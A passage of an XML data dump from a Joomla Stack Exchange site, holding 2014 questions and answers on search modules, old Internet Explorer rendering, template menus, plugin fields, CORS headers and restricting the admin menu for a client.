  <row Id="5294" PostTypeId="1" CreationDate="2014-11-18T06:13:48.937" Score="5" ViewCount="684" Body="&lt;p&gt;I want to create a search module in joomla for a category page. Default module such as &quot;Search&quot; or &quot;Smart Search&quot; gives result on their own page rather in the same page from where it is requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please share your thought regarding any setting required or do I need to change in code.&lt;/p&gt;&#xA;" OwnerUserId="2213" LastEditorUserId="126" LastEditDate="2014-12-03T10:21:50.197" LastActivityDate="2014-12-03T10:21:50.197" Title="Creating search for a category page" Tags="|joomla-3.x|joomla-2.5|template-override|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5295" PostTypeId="2" ParentId="5294" CreationDate="2014-11-18T07:10:11.543" Score="2" Body="&lt;p&gt;Just a few quick thoughts:&lt;/p&gt;&#xA;&lt;p&gt;I guess that you want to have a search module that will instantly show search results from a specific category. There are 3rd party search modules that are using AJAX to display results. Many of them might have options to specify categories from which to show the search results.&lt;/p&gt;&#xA;&lt;p&gt;But usually the search results of these modules are displayed in the module and not in the component area, and if you want to have all results of a specific search, they usually take you either to the search component view, or if they work with their own component, to that components view.&lt;/p&gt;&#xA;&lt;p&gt;However, even if the above is not what you are looking for, it might still be worthy to research on JED to see what is available there.&lt;/p&gt;&#xA;&lt;br /&gt;&#xA;&lt;h3&gt;Content Category Page with Search/Filter Ability&lt;/h3&gt;&#xA;&lt;p&gt;If you want to have a content category page with a search field, that will filter instantly the displayed articles, based on the input of the field, then I guess you should customize the com_content.&lt;/p&gt;&#xA;&lt;p&gt;Maybe the best option would be to create a complete &lt;strong&gt;MVC&lt;/strong&gt; for this and have a new menu-item for your special category page, that will include a form with this filter/search input field on top and below that you will have the results display.&lt;/p&gt;&#xA;&lt;p&gt;Then in your model you would have to add the search functionality - create the SQL query that will use the input from your search field, and that will give back the found results.&lt;/p&gt;&#xA;&lt;p&gt;If you want your view to be updated instantly while typing in the search field, you will have to implement AJAX.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-18T07:10:11.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5296" PostTypeId="1" AcceptedAnswerId="5297" CreationDate="2014-11-18T08:22:11.970" Score="2" ViewCount="1097" Body="&lt;p&gt;I'm not a developer by any means, so I'm not sure I'll be able to phrase this in a technical way, but I'm facing a lot of problems with how my new Joomla website is rendered on old versions of IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is &lt;a href=&quot;http://www.eslrok.com&quot; rel=&quot;nofollow&quot;&gt;www.eslrok.com&lt;/a&gt; (a jobs/recruiting website for English teachers in Korea).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really important that the website display correctly on the older versions of IE (6 through 9), but, having accessed the site from computers using older browsers and having seen the site on sites like Browsera.com, I can see that the browser stretches the component on the front page and pushes all of the left-side modules underneath it. It's a mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read so many things about IE display problems and how to fix them, all of them pointing to different solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can't do is ask the user to turn on compatibility mode, it needs to render correctly on load. I installed a plugin that alerts users to the fact that their browser is outdated, but I'd prefer to have the page look decent instead, and not force them to make an annoying upgrade (although they probably should, but it's not my business to tell them this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any experience with this? Or perhaps there's a sneaky fix that someone has heard about?&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="1629" LastEditDate="2014-12-02T03:51:31.253" LastActivityDate="2014-12-02T03:51:31.253" Title="How can I fix my website's display problems on old Internet Explorer versions?" Tags="|joomla-2.5|module-display|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5297" PostTypeId="2" ParentId="5296" CreationDate="2014-11-18T09:18:04.273" Score="3" Body="&lt;p&gt;Ok so I'm assuming you're using a responsive template here which means it will scale down elements using CSS3 media queries which are not supported on older browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 things you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When viewing your site in IE, make sure it's not in &lt;strong&gt;Quirks mode&lt;/strong&gt;. To double check, simply press &lt;kbd&gt;F12&lt;/kbd&gt;, check the document mode and make sure it's set to &lt;strong&gt;Standard&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make sure your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; contains &lt;code&gt;&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You also have an Javascript errors coming from &lt;strong&gt;responsivescrollingtables.min.js&lt;/strong&gt; which is also causing problems for &lt;strong&gt;respond.js&lt;/strong&gt; and preventing it from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I don't get this really. You would like to support older browsers, however you have an upgrade message appear when viewing the browser in IE8&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-18T09:35:08.463" LastActivityDate="2014-11-18T09:35:08.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5298" PostTypeId="2" ParentId="5289" CreationDate="2014-11-18T09:47:15.293" Score="2" Body="&lt;p&gt;I had this issue with a lot of Joomlart templates and found a few references that helped me, hopefully they will also help you. It seems to be a known issue with A&lt;strong&gt;keeba Backup / Admin Tools&lt;/strong&gt; - do you have these installed by any chance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://www.joomlart.com/forums/showthread.php?95799-Jlib_installer_default_style&quot; rel=&quot;nofollow&quot;&gt;Official Joomlart Forum&lt;/a&gt; one of the admins has suggested the following fix;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/public_html/staging/plugins/system/admintools/admintools/main.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/public_html/staging/plugins/system/admintools/admintools/main_DISABLE.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not exacyly sure what this is disabling so you may want to be careful and experiment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reference is on the &lt;a href=&quot;https://www.akeebabackup.com/support/akeeba-backup-3x/20288-jlib-installer-default-style-due-to-admintools.html&quot; rel=&quot;nofollow&quot;&gt;Official Akeeba Backup Forum&lt;/a&gt; where the admin reports;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the core Joomla! library translation file for your administrator&#xA;  language does not have the translation for the&#xA;  JLIB_INSTALLER_DEFAULT_STYLE string you will end up seeing the&#xA;  untranslated string. If your administrator is English you should see&#xA;  the correct translation (&quot;Default&quot;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-11-18T09:47:15.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5299" PostTypeId="2" ParentId="5283" CreationDate="2014-11-18T10:31:12.223" Score="1" Body="&lt;p&gt;I'm going to write this as an answer to I can go into further detail and explain things clearly :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so you have 2 websites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.example.de&lt;/li&gt;&#xA;&lt;li&gt;www.example.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It appears that the &lt;code&gt;.de&lt;/code&gt; domain is your primary website. So, then you go to the &lt;code&gt;.com&lt;/code&gt; website, it will either redirect to the &lt;code&gt;.de&lt;/code&gt; website &lt;strong&gt;or&lt;/strong&gt; simply display the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you navigate to &lt;strong&gt;www.example.com/administrator&lt;/strong&gt;, again, it should either redirect &lt;strong&gt;or&lt;/strong&gt; not. If it doesn't then they are most likely 2 different websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far you should be able to tell us what happens when you view the &lt;code&gt;.com&lt;/code&gt; domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming there is no redirect, go your your File Manager (hosting cpanel or FTP) and you will see the files/folders for your Joomla site. You may also see a sub-folder with a separate Joomla installation side it. If you do then you will also need to import the API from this sub-folder too.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-18T10:31:12.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5300" PostTypeId="1" AcceptedAnswerId="5302" CreationDate="2014-11-18T13:49:21.620" Score="3" ViewCount="461" Body="&lt;p&gt;I am using a free joomla template called &lt;a href=&quot;http://jomboom.com/template/1012/Qualify/&quot; rel=&quot;nofollow&quot;&gt;qualify &lt;/a&gt; which says is fully responsive in ios and android, but I tested it today on my samsung phone and there is no main menu showing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where could I change code to make the menu show?&lt;br&gt;&#xA;Here is &lt;a href=&quot;http://notabadartist.com&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; I'm working on. I know the lines of code in styles.css pertaining to the menu but still don't know why it is not showing on mobile device.&lt;/p&gt;&#xA;" OwnerUserId="2178" LastEditorUserId="126" LastEditDate="2016-01-22T00:12:42.770" LastActivityDate="2016-01-22T00:12:42.770" Title="Template's main menu not responsive -how to fix it?" Tags="|templates|menu|responsive-web-design|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5302" PostTypeId="2" ParentId="5300" CreationDate="2014-11-18T13:59:14.647" Score="4" Body="&lt;p&gt;The menu &lt;strong&gt;is&lt;/strong&gt; there but due to the colour of the dropdown trigger, it's very hard to see as it's blending in with the background. The image below shows you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzXIT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the colour on line &lt;strong&gt;80&lt;/strong&gt; of &lt;strong&gt;styles.css&lt;/strong&gt; in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nav a#pull {&#xA;    background-color: #283744; /* CHANGE ME */&#xA;    display: block;&#xA;    position: relative;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not going to lie, the template is extremely bad. It has not been developed very well. This is not your fault but I would strongly suggest looking at an alternative.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-18T13:59:14.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5303" PostTypeId="2" ParentId="5288" CreationDate="2014-11-18T14:41:47.450" Score="1" Body="&lt;p&gt;Language files are just PHP .ini files. They can be anywhere, and you can load them manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla manages the language files installation, default loading, overrides (language/overrides), and removal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create the same organization from your extension, or add more files from a different location (JPATH_BASE), check how you can load specific files from a defined location with JLanguage::load. &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JLanguage.html#method_load&quot; rel=&quot;nofollow&quot;&gt;http://api.joomla.org/cms-3/classes/JLanguage.html#method_load&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-18T14:41:47.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5304" PostTypeId="1" CreationDate="2014-11-18T17:24:08.070" Score="1" ViewCount="211" Body="&lt;p&gt;I would like to change the behaviour of the Filter on the Joomla Tag Result page. When you search for certain Tags it will give you a list with article. If you than apply a Filter, which is a textbox, you can only Filter by Article Title. What i want to do is to change it to a Select Box with more Tags and so the Filter applied will only show the Articles containing this Tag also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched for the Code, but don't know how to alter it and if it is the correct code. How to create a select Box with values i know, i just don't know how to change the Title Filter to a &quot;Tag Filter&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this is the code which has to be modified:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('filter_field')) :?&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;filter-search-lbl element-invisible&quot; for=&quot;filter-search&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL').'&amp;amp;#160;'; ?&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;filter-search&quot; id=&quot;filter-search&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.filter')); ?&amp;gt;&quot; class=&quot;inputbox&quot; onchange=&quot;document.adminForm.submit();&quot; title=&quot;&amp;lt;?php echo JText::_('COM_TAGS_FILTER_SEARCH_DESC'); ?&amp;gt;&quot; placeholder=&quot;&amp;lt;?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code snippet i took from the default_items.php. (I assume this is correct)&#xA;Anybody has an idea on how to make such a change?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-11-18T17:24:08.070" Title="Custom Filter Tag Result Page" Tags="|tags|content-filtering|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5308" PostTypeId="1" AcceptedAnswerId="5309" CreationDate="2014-11-18T18:25:44.540" Score="8" ViewCount="971" Body="&lt;p&gt;I would like to have a confirmation message when I delete the items the media manager. For now, to delete an image, I just have to click on the top-right cross and the image is gone: if I make a mistake, well too bad! &#xA;I looked into the media manager options but I couldn't see anything such as what I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I get a confirmation message or a popup that will ask for a confirmation before deleting the item? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help! &lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1629" LastEditDate="2014-12-09T04:17:53.207" LastActivityDate="2014-12-09T04:17:53.207" Title="Confirmation message when deleting items in the media manager" Tags="|joomla-3.x|joomla-2.5|media-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5309" PostTypeId="2" ParentId="5308" CreationDate="2014-11-18T19:30:05.057" Score="8" Body="&lt;p&gt;You can add a few lines of jQuery to your admin template (or add it using a plugin that fires only for the admin area):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;a.delete-item&quot;).on('click', function(e){&#xA;    if (confirm(&quot;Do you want to delete this image?&quot;) != true) {&#xA;        e.preventDefault();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will catch the click on the delete button &lt;kbd&gt;X&lt;/kbd&gt; and display a dialog box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;The media files are displayed using an Iframe, which in turn is loaded using the &lt;code&gt;&amp;amp;tmpl=component&lt;/code&gt; parameter. The code above must therefore be added to the file &lt;code&gt;administrator\templates\YOURADMINTEMPLATE\component.php&lt;/code&gt; (inside a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should work :)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-11-20T01:57:25.397" LastActivityDate="2014-11-20T01:57:25.397" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5312" PostTypeId="2" ParentId="4163" CreationDate="2014-11-19T16:12:19.077" Score="2" Body="&lt;p&gt;Within your javascript which shows/hides the divs, remove/replace the validate CSS class that is used to determine if a field should be validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you'll want to replace validate-* with something else so you know what to put back when the div is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if you're using pure javascript, bootstrap or jquery to accomplish the hiding - so no specific code to show you.  If you're using bootstrap, there are additional helper events that can assist you in accomplishing this.  &lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2014-11-19T16:12:19.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5313" PostTypeId="1" AcceptedAnswerId="5317" CreationDate="2014-11-19T16:54:37.980" Score="4" ViewCount="697" Body="&lt;p&gt;I can add a multiple select field to my plugin's xml file, like this for countries but when I save it, it only saves the value &quot;array&quot; in the parameters. I would like to save it as a comma separated list, OR an array. I just want it to save values, and restore the chosen selections on editing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field&#xA;                name=&quot;country&quot;&#xA;                type=&quot;sql&quot;&#xA;                id=&quot;country&quot;&#xA;                description=&quot;MYMUSE_FIELD_COUNTRY_DESC&quot;&#xA;                filter=&quot;string&quot;&#xA;                default=&quot;CAN&quot;&#xA;                multiple=&quot;true&quot; &#xA;                size=&quot;8&quot;&#xA;                label=&quot;MYMUSE_FIELD_COUNTRY_LABEL&quot;&#xA;                message=&quot;MYMUSE_FIELD_COUNTRY_MESSAGE&quot;&#xA;                query=&quot;SELECT country_3_code as value, country_name as country FROM #__mymuse_country &#xA;                ORDER by country&quot;&#xA;            /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2222" LastActivityDate="2014-11-20T07:35:21.067" Title="Trying to save multiple field in Plugin" Tags="|plugin|xml|fields|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5315" PostTypeId="2" ParentId="5313" CreationDate="2014-11-19T17:27:28.770" Score="4" Body="&lt;p&gt;Use &lt;code&gt;value&lt;/code&gt; and &lt;code&gt;title&lt;/code&gt; (not country) in the sql.  I believe your SQL should be as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT country_3_code as value, country_name as title FROM #__mymuse_country ORDER by country&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow&quot;&gt;SQL form field type&lt;/a&gt; for other variations that might be more suitable for your need.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-19T17:27:28.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5316" PostTypeId="2" ParentId="5242" CreationDate="2014-11-20T00:44:39.427" Score="4" Body="&lt;p&gt;This is most likely because your coffee PHP header() call is conflicting with what Joomla has already set in the framework.  Try setting using core Joomla methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.environment.response');&#xA;JResponse::setHeader('Access-Control-Allow-Origin:', '*');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, have you confirmed the core AJAX functionality is working by testing request on same domain?&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2014-11-21T01:40:57.057" LastActivityDate="2014-11-21T01:40:57.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5317" PostTypeId="2" ParentId="5313" CreationDate="2014-11-20T07:35:21.067" Score="4" Body="&lt;p&gt;According to the comments on this question, the answer is to remove &lt;code&gt;filter=&quot;string&quot;&lt;/code&gt; attribute from XML manifest file.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-11-20T07:35:21.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5318" PostTypeId="1" CreationDate="2014-11-20T11:33:48.060" Score="3" ViewCount="6544" Body="&lt;p&gt;Im doing my internship as a web developer in a company. we got a customer that owns a blog site that was created with joomla 3.3 . the problem is that the customer is really curious and knows nothing about computers so he is digging daily inside admin cpanel destroying things. My boss told me so to edit the joomla control panel in that way so if he log in some elements from the Admin Menu becomes invisible !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i found out the code that creates the menu:&#xA;/home/sitename/public_html/administrator/templates/isis/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the block code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;lt;?php echo ($this-&amp;gt;params-&amp;gt;get('admin_menus') != '0') ? ' class=&quot;nav-collapse&quot;' : ''; ?&amp;gt;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menu&quot; style=&quot;none;&quot; /&amp;gt;&#xA;                &amp;lt;ul class=&quot;nav nav-user&amp;lt;?php echo ($this-&amp;gt;direction == 'rtl') ? ' pull-left' : ' pull-right'; ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;li  class=&quot;dropdown&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to make the specific elements i want invisisble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style=&quot;&amp;lt;?php if($user-&amp;gt;name==&quot;user10&quot;) { echo &quot;display:none;&quot;;}?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but The problem is that the admin menu getting included with this : &amp;lt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jdoc:include type=&quot;modules&quot; name=&quot;menu&quot; style=&quot;none;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im searching in the file public_html/administrator/modules/ but cant find anything that match it. does anyone have any idea where it could be ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Εdit: after loads of hours i got it, so i share it if anyone else needs it in future:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**administrator/**modules/mod_menu/menu.php ( i was searching in the frontend before :S )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;li&quot; . $class  . &quot;&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eddited to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user  = JFactory::getUser();&#xA;$tmpvar= 'style=&quot;display:none;&quot;';&#xA;$rekt=$this-&amp;gt;_current-&amp;gt;title;&#xA;&#xA;if(($user-&amp;gt;name==&quot;user10&quot;) &amp;amp;&amp;amp; ( $rekt== &quot;Content&quot;)) {&#xA;$childcounteryo=0;&#xA;}&#xA;if (($user-&amp;gt;name==&quot;user10&quot;) &amp;amp;&amp;amp; ( $rekt == &quot;System&quot;) || $rekt== &quot;Extensions&quot; || $rekt==&quot;Help&quot; ) {&#xA;echo &quot;&amp;lt;li&quot; . $class  . $tmpvar . &quot;&amp;gt;&quot;;&#xA;&#xA;}else {&#xA;echo &quot;&amp;lt;li&quot; . $class  . &quot;&amp;gt;&quot;;&#xA;}&#xA;&#xA;foreach ($this-&amp;gt;_current-&amp;gt;getChildren() as $child)&#xA;            {   &#xA;                if ($childcounteryo !=1) {&#xA;                $this-&amp;gt;_current = &amp;amp; $child;&#xA;                $this-&amp;gt;renderLevel($depth++);&#xA;                }&#xA;                $childcounteryo+=1;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(in content tab wanted to remove the 2nd submenu ) &lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="126" LastEditDate="2015-11-09T23:19:53.897" LastActivityDate="2015-11-09T23:19:53.897" Title="Remove elements from Joomla control panel admin menu" Tags="|joomla-3.3.x|administrator|acl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5319" PostTypeId="2" ParentId="5318" CreationDate="2014-11-20T11:40:10.177" Score="4" Body="&lt;p&gt;I'm not sure which elements exactly you want to remove for your client, however what you can do is change his user group from &lt;strong&gt;Super Admin&lt;/strong&gt; to &lt;strong&gt;Admin&lt;/strong&gt; which will remove a lot of the default options such as the Language Manager and Global Configuration.&lt;/p&gt;&#xA;&lt;p&gt;The good thing about Joomla is that is uses ACL (Access Control List) which allows you to choose which actions and view are available to specific user groups.&lt;/p&gt;&#xA;&lt;p&gt;The following Joomla Documentation will guide you a lot with this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;Extension Manager&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;Manage&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;strong&gt;Options&lt;/strong&gt; in the top right then click the &lt;strong&gt;Permissions&lt;/strong&gt; tab&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;strong&gt;Administrator&lt;/strong&gt; tab on the left&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;strong&gt;Delete&lt;/strong&gt; option to &lt;strong&gt;Denied&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This will prevent the client with Administrator permissions from uninstalling extensions.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-20T12:04:08.437" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5320" PostTypeId="2" ParentId="5318" CreationDate="2014-11-20T11:47:41.730" Score="2" Body="&lt;p&gt;First of all, avoid giving &lt;strong&gt;Super User&lt;/strong&gt; access to users that you can't trust. Super User has the higher privileges and can do anything on the site. &#xA;See if by making the user a simple &lt;strong&gt;Administrator&lt;/strong&gt; will be sufficient for what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, Joomla incorporates a deep &lt;strong&gt;ACL system&lt;/strong&gt;, that will let you customize who has access on what. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find more info here: &lt;strong&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are even more things you can do, to create custom backend navigation and apply specific restrictions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are extensions that will let you do this...&#xA;I recommend &lt;a href=&quot;http://www.pages-and-items.com/extensions/admin-menu-manager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Admin Menu Manager&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://www.pages-and-items.com/extensions/access-manager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Access Manager&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-20T11:47:41.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5321" PostTypeId="2" ParentId="5214" CreationDate="2014-11-20T14:36:36.290" Score="0" Body="&lt;p&gt;I builded a component that can be edited by multiple users. The &lt;code&gt;edit&lt;/code&gt; method from &lt;code&gt;JControllerForm&lt;/code&gt; look for this property like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the previous record id (if any) and the current record id.&#xA;$recordId = (int) (count($cid) ? $cid[0] : $this-&amp;gt;input-&amp;gt;getInt($urlVar));&#xA;$checkin = property_exists($table, 'checked_out'); // &amp;lt;---&#xA;&#xA;// ....&#xA;&#xA;// Attempt to check-out the new record for editing and redirect.&#xA;if ($checkin &amp;amp;&amp;amp; !$model-&amp;gt;checkout($recordId)) // &amp;lt;---&#xA;{&#xA;    // Check-out failed, display a notice but allow the user to see the record.&#xA;    $this-&amp;gt;setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKOUT_FAILED', $model-&amp;gt;getError()));&#xA;    $this-&amp;gt;setMessage($this-&amp;gt;getError(), 'error');&#xA;    // ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So an easy way to avoid this functionality is just to remove the &lt;code&gt;checked_out&lt;/code&gt; field from the related table so &lt;code&gt;$checkin&lt;/code&gt; is always &lt;code&gt;FALSE&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: This is not a suggestion to modify the Joomla code or any related database. I came here looking for info about Joomla &lt;code&gt;cheking&lt;/code&gt; feature. This solution is suitable to develop multiuser components, ie, 